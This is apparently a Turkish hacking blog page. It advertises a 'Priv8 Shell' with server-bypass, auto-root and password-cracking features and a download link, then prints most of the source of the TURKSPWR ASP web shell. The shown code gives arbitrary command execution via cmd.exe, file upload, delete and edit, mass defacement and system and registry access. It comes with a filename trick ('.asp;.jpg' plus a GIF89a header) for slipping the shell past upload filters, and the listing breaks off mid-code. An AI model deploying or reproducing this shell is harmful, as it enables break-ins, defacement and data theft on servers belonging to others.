Yeni Yemamız Hakkında

<div class="separator" style="clear: both; text-align: center;"> <a href="http://www.kurumsalhaberler.com/images/kuruluslogo/298/arsiv/Tema_Logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="http://www.kurumsalhaberler.com/images/kuruluslogo/298/arsiv/Tema_Logo.jpg" width="320" /></a></div> Yeni Temamız Hakkında Neler Düşünüyorsunuz Bir Tema Koyalım Dedik Ortaya Bu Sonuç Çıktı Bundan Sonra Paylaşımlar Dağa Çok Artıcaktır..

Yeni Yemamız Hakkında

Yeni Temamız Hakkında Neler Düşünüyorsunuz Bir Tema Koyalım Dedik Ortaya Bu Sonuç Çıktı Bundan Sonra Paylaşımlar Dağa Çok Artıcaktır..…

Devamı »

Priv8 Shell

[IMG]http://l1310.hizliresim.com/1g/z/u2yq2.png[/IMG]<br /> Güzel Bir Priv8 Shell İle Karşınızdayım, Yapımı 1 Ay Sürdü Tabikide Benim İçin Zorlandığım vs vs yerler oldu :) Özellikleri : // Pagerank Tara Server Listesi Cgi Shell Python Shell Symlink Shell Perl Bypass etme Otomatik Root Alternatif Server Listesi Read Oku Alternatif Cgi Shell Config Çekme / Shell Lite Speed Bypass Ssi Bypass / Shell Su Exec ByPass / Shell Wordpress Mysql / Shell Joomla Mysql / Shell Eval Bypass Php4 Bind / Shell Cpanel Ftp / Cracker Safe Mode Alternatif Mini Cgi / Shell SSi Ozel Shell Php3.0 Priv8 Bypass // Download : http://s3.dosya.tc/server12/4KyQNc/priv8.rar.html <br /> Logsuzdur Loglardan Nefret Ederim :D

Priv8 Shell

[IMG]http://l1310.hizliresim.com/1g/z/u2yq2.png[/IMG] Güzel Bir Priv8 Shell İle Karşınızdayım, Yapımı 1 Ay Sürdü Tabikide Benim İçin Zorlandığım vs vs yerler oldu :) Özellikleri : // Pagerank Tara Se…

Devamı »

Asp Shell

<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCEBnb12-xIT6ywpZwaWJHz1acC_mVfpEy_ZeXM1e9EC4CkzI-YAdHnmjveb8DMesxqn-jiOO2G2ok9MtHAOieTHeF_buSTgrgb1jpLspW1ili6WC1CZGRMRA0J37NZAq623JaNeBjXyPU/s320/asp.jpg" /></a></div> <div style="text-align: center;"> <strong>Kullanışlı ve güzel bir shelldir . </strong><strong><br /></strong></div> <div style="text-align: center;"> <strong>Özellikleri ; Mass ve Single , Upload Toplu upload  , dosya edit silme vs vs</strong></div> <div style="text-align: center;"> <strong>Kodları:  </strong></div> <div style="text-align: center;"> <strong>.</strong></div> <div style="text-align: center;"> <strong>.</strong></div> <div style="text-align: center;"> <strong>.</strong></div> <div style="text-align: center;"> <strong>.</strong></div> <div style="text-align: center;"> <strong>Kaydederken örn : turkspwr.asp;.jpg olarak kaydedın veya turkspwr.asp </strong></div> <div style="text-align: center;"> <strong>___</strong></div> <div style="text-align: center;"> <strong>GIF89a;<br /><%@ LANGUAGE = VBScript.Encode%><br /><%//**Start Encode<br />On Error Resume Next<br /><br />Dim myFSO,showdisks<br />Set myFSO = CreateObject ("Scripting.FileSystemObject")<br />showdisks=FALSE<br /><br />Server.ScriptTimeOut = 7200<br />Class FileUploader<br /> Public Files<br /> Private mcolFormElem<br /> Private Sub Class_Initialize()<br /> Set Files = Server.CreateObject("Scripting.Dictionary")<br /> Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")<br /> End Sub<br /> Private Sub Class_Terminate()<br /> If IsObject(Files) Then<br /> Files.RemoveAll()<br /> Set Files = Nothing<br /> End If<br /> If IsObject(mcolFormElem) Then<br /> mcolFormElem.RemoveAll()<br /> Set mcolFormElem = Nothing<br /> End If<br /> End Sub<br /> Public Property Get Form(sIndex)<br /> Form = ""<br /> If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))<br /> End Property<br /> Public Default Sub Upload()<br /> Dim biData, sInputName<br /> Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos<br /> Dim nPosFile, nPosBound<br /> biData = Request.BinaryRead(Request.TotalBytes)<br /> nPosBegin = 1<br /> nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))<br /> If (nPosEnd-nPosBegin) <= 0 Then Exit Sub<br /> vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)<br /> nDataBoundPos = InstrB(1, biData, vDataBounds)<br /> Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))<br /> nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))<br /> nPos = InstrB(nPos, biData, CByteString("name="))<br /> nPosBegin = nPos + 6<br /> nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))<br /> sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))<br /> nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))<br /> nPosBound = InstrB(nPosEnd, biData, vDataBounds)<br /> If nPosFile <> 0 And nPosFile < nPosBound Then<br /> Dim oUploadFile, sFileName<br /> Set oUploadFile = New UploadedFile<br /> nPosBegin = nPosFile + 10<br /> nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))<br /> sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))<br /> oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))<br /> nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))<br /> nPosBegin = nPos + 14<br /> nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))<br /> oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))<br /> nPosBegin = nPosEnd+4<br /> nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2<br /> oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)<br /> If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile<br /> Else<br /> nPos = InstrB(nPos, biData, CByteString(Chr(13)))<br /> nPosBegin = nPos + 4<br /> nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2<br /> If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))<br /> End If<br /> nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)<br /> Loop<br /> End Sub<br /> Private Function CByteString(sString)<br /> Dim nIndex<br /> For nIndex = 1 to Len(sString)<br /> CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))<br /> Next<br /> End Function<br /> Private Function CWideString(bsString)<br /> Dim nIndex<br /> CWideString =""<br /> For nIndex = 1 to LenB(bsString)<br /> CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) <br /> Next<br /> End Function<br />End Class<br />Class UploadedFile<br /> Public ContentType<br /> Public FileName<br /> Public FileData<br /> Public Property Get FileSize()<br /> FileSize = LenB(FileData)<br /> End Property<br /> Public Sub SaveToDisk(sPath)<br /> Dim oFS, oFile<br /> Dim nIndex<br /> If sPath = "" Or FileName = "" Then Exit Sub<br /> If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"<br /> Set oFS = Server.CreateObject("Scripting.FileSystemObject")<br /> If Not oFS.FolderExists(sPath) Then Exit Sub<br /> Set oFile = oFS.CreateTextFile(sPath & FileName, True)<br /> For nIndex = 1 to LenB(FileData)<br /> oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))<br /> Next<br /> oFile.Close<br /> End Sub<br /> Public Sub SaveToDatabase(ByRef oField)<br /> If LenB(FileData) = 0 Then Exit Sub<br /> If IsObject(oField) Then<br /> oField.AppendChunk FileData<br /> End If<br /> End Sub<br />End Class<br />startcode = "<html><head><title>.:: TURKSPWR Asp Shell - SPYTURK.OCM ::.</title></head><body>"<br />endocde = "</body></html>"<br />onlinehelp = "<font face=""arial"" size=""1"">.:: <a href=""http://spyturk.com"" target=""_blank"">ONLINE HELP</a> ::.</font><br>"<br />Function HexConv(hexVar)<br /> Dim hxx, hxx_var, multiply <br /> IF hexVar <> "" THEN<br /> hexVar = UCASE(hexVar)<br /> hexVar = StrReverse(hexVar)<br /> DIM hx()<br /> REDIM hx(LEN(hexVar))<br /> hxx = 0<br /> hxx_var = 0<br /> FOR hxx = 1 TO LEN(hexVar)<br /> IF multiply = "" THEN multiply = 1<br /> hx(hxx) = mid(hexVar,hxx,1)<br /> hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var<br /> multiply = (multiply * 16)<br /> NEXT<br /> hexVar = hxx_var<br /> HexConv = hexVar<br /> END IF<br />End Function<br />cprthtml = "<font face='arial' size='1'>.:: TURKSPWR ASP ::.</font>"<br />Function get_hxno(ghx)<br /> If ghx = "A" Then<br /> ghx = 10<br /> ElseIf ghx = "B" Then<br /> ghx = 11<br /> ElseIf ghx = "C" Then<br /> ghx = 12<br /> ElseIf ghx = "D" Then<br /> ghx = 13<br /> ElseIf ghx = "E" Then<br /> ghx = 14<br /> ElseIf ghx = "F" Then<br /> ghx = 15<br /> End If<br /> get_hxno = ghx<br />End Function<br /><br />keydec="<font face='arial' size='1'>.:: TURKSPWR SHELL &copy; BY <a href='mailto:'>TURKSPWR</a> - <a href='' target='_blank'></a> ::.</font>"<br />Function showobj(objpath)<br /> showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))<br />End Function<br />Function showobjpath(objpath)<br /> showobjpath = Left(objpath,InstrRev(objpath,"\"))<br />End Function<br />Function checking(a,b)<br />' If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then<br />' pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"<br />' Response.Redirect(pagina)<br />' End If<br />End Function<br />Sub hdr()<br /> Response.Write startcode<br /> Response.Write keydec<br /> Response.Write "<br>"<br />End Sub<br /><br />sub araBul(path_,ara_)<br /> on error resume next<br /> If Len(path_) > 0 Then<br /> cur = path_&"\"<br /> If cur = "\\" Then cur = ""<br /> parent = ""<br /> If InStrRev(cur,"\") > 0 Then<br /> parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))<br /> End If<br /> Else<br /> cur = ""<br /> End If<br /> <br /> Set f = myFSO.GetFolder(cur)<br /><br /> Set fc = f.Files<br /> For Each f1 In fc<br /> if lcase(InStr(1,f1.name,lcase(ara_)))>0 then<br /> downStr = "<font face=webdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(f1.path,"\","|") &"'>?/a></font>"<br /> if lcase(ara_)="mdb" then<br /> Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>?/a></font> * <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=7&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]"&"</a></b><br>"<br /> else <br /> Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"\","|") & "'>?/a><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(f1.path,"\","|") &"'>!</a></font> - <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=5&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]</a></b><br>"<br /> end if<br /> end if<br /> Next<br /><br /> Set fs = f.SubFolders<br /> For Each f1 In fs<br /> araBul f1.path,ara_<br /> Next<br /> Set f = Nothing<br /> Set fc = Nothing<br /> Set fs = Nothing<br />end sub<br /><br /><br />Sub showcontent()<br /> showdisks=TRUE<br /> Response.Write "<font face=""arial"" size=""1"">.:: <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "<br><br></font>"<br /> If Trim(Request.QueryString("raiz")) = "root" Then<br /> Set fs=Server.Createobject("Scripting.FileSystemObject")<br /> Set drivecollection=fs.drives<br /> Response.Write "<font face=""arial"" size=""2"">"<br /> For Each drive IN drivecollection <br /> str=drive.driveletter & ":"<br /> Response.Write "<b><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a></b><br>"<br /> Select Case drive.DriveType<br /> Case 0<br /> tipodrive = "Unknown"<br /> nomedrive = drive.VolumeName<br /> Case 1<br /> tipodrive = "Removable"<br /> If drive.isready Then<br /> nomedrive = drive.VolumeName<br /> Else<br /> nomedrive = ""<br /> End If<br /> Case 2<br /> tipodrive = "Fixed"<br /> If drive.isready Then<br /> nomedrive = drive.VolumeName<br /> Else<br /> nomedrive = ""<br /> End If<br /> Case 3<br /> tipodrive = "Network"<br /> If drive.isready Then<br /> nomedrive = drive.ShareName<br /> Else<br /> nomedrive = ""<br /> End If<br /> Case 4<br /> tipodrive = "CD-Rom"<br /> If drive.isready Then<br /> nomedrive = drive.VolumeName<br /> Else<br /> nomedrive = ""<br /> End If<br /> Case 5<br /> tipodrive = "RAM Disk"<br /> If drive.isready Then<br /> nomedrive = drive.VolumeName<br /> Else<br /> nomedrive = ""<br /> End If<br /> End Select<br /> response.write "<b>Type:</b> " & tipodrive & "<br>"<br /> response.write "<b>Name: </b>" & nomedrive & "<br>"<br /> response.write "<b>File System: </b>"<br /> If drive.isready Then<br /> set sp=fs.getdrive(str)<br /> response.write sp.filesystem & "<br>"<br /> Else<br /> response.write "-<br>"<br /> End If<br /> Response.Write "<b>Disk Space: </b>"<br /> If drive.isready Then<br /> freespace = (drive.AvailableSpace / 1048576)<br /> set sp=fs.getdrive(str)<br /> response.write(Round(freespace,1) & " MB<br>")<br /> Else<br /> response.write("-<br>")<br /> End If<br /> Response.Write "<b>Total Space: </b>"<br /> If drive.isready Then<br /> totalspace = (drive.TotalSize / 1048576)<br /> set sp=fs.getdrive(str)<br /> response.write(Round(totalspace,1) & " MB<br>")<br /> Else<br /> response.write("-<br>")<br /> End If<br /> Response.Write "<br>"<br /> Next<br /> Response.Write "</font>"<br /> Set fs = Nothing<br /> Set drivecollection = Nothing<br /> set sp=Nothing<br /> Else<br /> If Trim(Request.QueryString("raiz")) = "" Then<br /> caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))<br /> pos = Instr(caminho,"\")<br /> pos2 = 1<br /> While pos2 <> 0<br /> If Instr(pos + 1,caminho,"\") <> 0 Then<br /> pos = Instr(pos + 1,caminho,"\")<br /> Else<br /> pos2 = 0<br /> End If<br /> Wend<br /> raiz = Left(caminho,pos)<br /> Else<br /> raiz = trim(Request.QueryString("raiz")) & "\"<br /> End If<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> Set MonRep = ObjFSO.GetFolder(raiz)<br /> Set ColFolders = MonRep.SubFolders<br /> Set ColFiles0 = MonRep.Files<br /> Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=test&path=" & Replace(raiz,"\","|") & "', 'win1','width=600,height=300,scrollbars=YES,resizable')"">Toplu Deneme " & UCase(raiz) & "</a></font><br><br>"<br /> Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc&path=" & Replace(raiz,"\","|") & "', 'win1','width=700,height=300,scrollbars=YES,resizable')"">Toplu Deface " & UCase(raiz) & "</a></font><br><br>"<br /> Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">Dosya Yukleme " & UCase(raiz) & "</a></font><br><br>"<br /><br /> Response.Write "<font face='arial' size='1'>"<br /> Response.Write "<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=450,height=200,scrollbars=YES,resizable')"">Komut</a>"<br /> Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width=760,height=450,scrollbars=YES,resizable')"">Sistem Bilgisi</a>"<br /> Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=550,height=200,scrollbars=YES,resizable')"">Kayit Defteri</a>"<br /> Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=search&path=" & Replace(raiz,"\","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">Arama</a>"<br /> Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver', 'win1','width=550,height=150,scrollbars=YES,resizable')"">Sql Komutu</a>"<br /> Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=about', 'win1','width=550,height=250,scrollbars=YES,resizable')"">Hakkynda</a>"<br /> Response.Write "</font><br><br>"<br /><br /><br /> Response.Write "<font face='arial'><b>Ana Dizin: " & raiz & "</b></font><br><br>"<br /> If CInt(Len(raiz) - 1) <> 2 Then<br /> barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1<br /> backlevel = Left(raiz,barrapos)<br /> Response.Write "<font face='arial' size='2'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & backlevel & "'> . . </font></b></a><br>"<br /> Else<br /> Response.Write "<font face='arial' size='2'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root'> . .&nbsp;</font></b></a><br>"<br /> End If<br /> Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"<br /> for each folderItem in ColFolders<br /> Response.Write "<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & folderItem.path & "'>" & showobj(folderItem.path) & "</a></b></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=250,scrollbars=YES,resizable')"">&lt;&lt; Git</a></font></td>"<br /> Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=100,scrollbars=YES,resizable')"">&lt;&lt; Kopyala/Tasi</a></font></td>"<br /> Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fdel&path=" & Replace(folderItem.path,"\","|") & "', 'win1','width=400,height=150,scrollbars=YES,resizable')"">&lt;&lt; Sil</a></font></td></tr>"<br /> next<br /> Response.Write "</table><br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"<br /> marcatabela = true<br /> for each FilesItem0 in ColFiles0<br /> If marcatabela = true then<br /> corfundotabela = " bgcolor=""#EEEEEE"""<br /> Else<br /> corfundotabela = ""<br /> End If<br /> Response.Write "<tr><td" & corfundotabela & "><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'" & corfundotabela & "><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.Indir.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.Isym Degis.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.Sil.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtview&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=640,height=480,scrollbars=YES,resizable')"">o.Gor.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(FilesItem0.path,"\","|") & "', 'win1','width=760,height=520,scrollbars=YES,resizable')"">o.Duzenle.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(FilesItem0.path,"\","|") & """>o.Indir.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a target='opener' href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy&file=" & Replace(FilesItem0.path,"\","|") & """>o.Kopyala.o</a></font></td></tr>"<br /> marcatabela = NOT marcatabela<br /> next<br /> Response.Write "</table>"<br /> End If<br />End Sub<br />Select Case Trim(Request.QueryString("action"))<br /> Case "get"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> caminho = Replace(Trim(Request.QueryString("path")),"|","\")<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> Set MyFile = ObjFSO.GetFile(caminho)<br /> destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))<br /> MyFile.Copy (destino)<br /> If Err.Number = 0 Then<br /> Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & caminho & "</b><br>Copied to: " & destino<br /> End If <br /> Case "put"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> If Trim(Request.QueryString("arquivo")) = "" Then<br /> caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))<br /> varpath = Trim(Request.QueryString("path"))<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> Set MonRep = ObjFSO.GetFolder(caminho)<br /> Set ColFolders = MonRep.SubFolders<br /> Set ColFiles0 = MonRep.Files<br /><br /> Response.Write "<font face='arial' size='2'><b>Select File: <br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"<br /> for each FilesItem0 in ColFiles0<br /> Response.Write "<tr><td><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&arquivo=" & Replace(FilesItem0.path,"\","|") & """>:: SELECT ::</a></font></td></tr>"<br /> next<br /> Response.Write "</table>"<br /> Else<br /> destino = Replace(Trim(Request.QueryString("path")),"|","\") & "\"<br /> arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","\")<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> Set MyFile = ObjFSO.GetFile(arquivo)<br /> MyFile.Copy (destino)<br /> If Err.Number = 0 Then<br /> Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & arquivo & "</b><br>Copied to: <b>" & destino<br /> End If<br /> End If<br /> Case "del"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> caminho = Replace(Trim(Request.QueryString("path")),"|","\")<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> Set MyFile = ObjFSO.GetFile(caminho)<br /> MyFile.Delete<br /> If Err.Number = 0 Then<br /> Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"<br /> Response.Write "<font face='arial' size='2'><center><br><br>Folder <b>" & caminho & "</b> Deleted.<br>"<br /> End If<br /><br /> Case "fdel"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> caminho = Replace(Trim(Request.QueryString("path")),"|","\")<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> ObjFSO.DeleteFolder caminho<br /> If Err.Number = 0 Then<br /> Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"<br /> Response.Write "<font face='arial' size='2'><center><br><br>File <b>" & caminho & "</b> Deleted.<br>"<br /> End If<br /><br /> Case "ren"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> If Trim(Request.QueryString("status")) <> "2" Then<br /> caminho = Replace(Trim(Request.QueryString("path")),"|","\")<br /> arquivo = showobj(caminho)<br /> Response.Write "<br><font face=""arial"" size=""2""><b>" & arquivo & "</b><br>" & _<br /> "<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _<br /> "<input type=""hidden"" name=""action"" value=""ren"">" & _<br /> "<input type=""hidden"" name=""status"" value=""2"">" & _<br /> "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _<br /> "New Name: <input type=""text"" name=""newname"">" & _<br /> "&nbsp;&nbsp;<input type=""submit"" value=""Submit"">" & _<br /> "</form>"<br /> Else<br /> caminho = Replace(Trim(Request.QueryString("path")),"|","\")<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> Set MyFile = ObjFSO.GetFile(caminho)<br /> destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname"))<br /> MyFile.Move (destino)<br /> If Err.Number = 0 Then<br /> Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & caminho & "</b><br>renomeado para<b>: " & destino<br /> Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"<br /> End If <br /> End If<br /> Case "error"<br /> Response.Write "<center><font face='arial' size='2' color='red'> <b>C?IGO CORROMPIDO<BR>CORRUPT CODE</font></center>"<br /> Case "cmd"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> Set oScript = Server.CreateObject("WSCRIPT.SHELL") <br /> Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") <br /> Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") <br /> szCMD = Request.QueryString(".CMD") <br /> If (szCMD <> "") Then <br /> szTempFile = "c:\" & oFileSys.GetTempName( ) <br /> Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) <br /> Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) <br /> End If <br /> Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET""><input type=""hidden"" name=""action"" value=""cmd""><input type=text name="".CMD"" size=45 value=""" & szCMD & """><input type=submit value=""Run""></FORM><br><br> "<br /> If (IsObject(oFile)) Then <br /> On Error Resume Next <br /> Response.Write "<font face=""arial"">"<br /> Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"<br>")," ","&nbsp;")<br /> oFile.Close <br /> Call oFileSys.DeleteFile(szTempFile, True) <br /> End If <br /> Case "info"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> Set WshNetwork = Server.CreateObject("WScript.Network")<br /> Set WshShell = Server.CreateObject("WScript.Shell")<br /> Set WshEnv = WshShell.Environment("SYSTEM")<br /> Response.Write "<br><font face=arial size=2>"<br /> Response.Write "<b>User Properties:</b><br>"<br /> Response.Write "<b>UserName: </b>" & WshNetwork.UserName & "<br>"<br /> Response.Write "<b>Computer Name: </b>" & WshNetwork.ComputerName & "<br>"<br /> Response.Write "<b>User Domain: </b>" & WshNetwork.UserDomain & "<br>"<br /> Set Drives = WshNetwork.EnumNetworkDrives<br /> For i = 0 to Drives.Count - 1<br /> Response.Write "<b>Drive de Rede (Mapeado): </b>" & Drives.Item(i) & 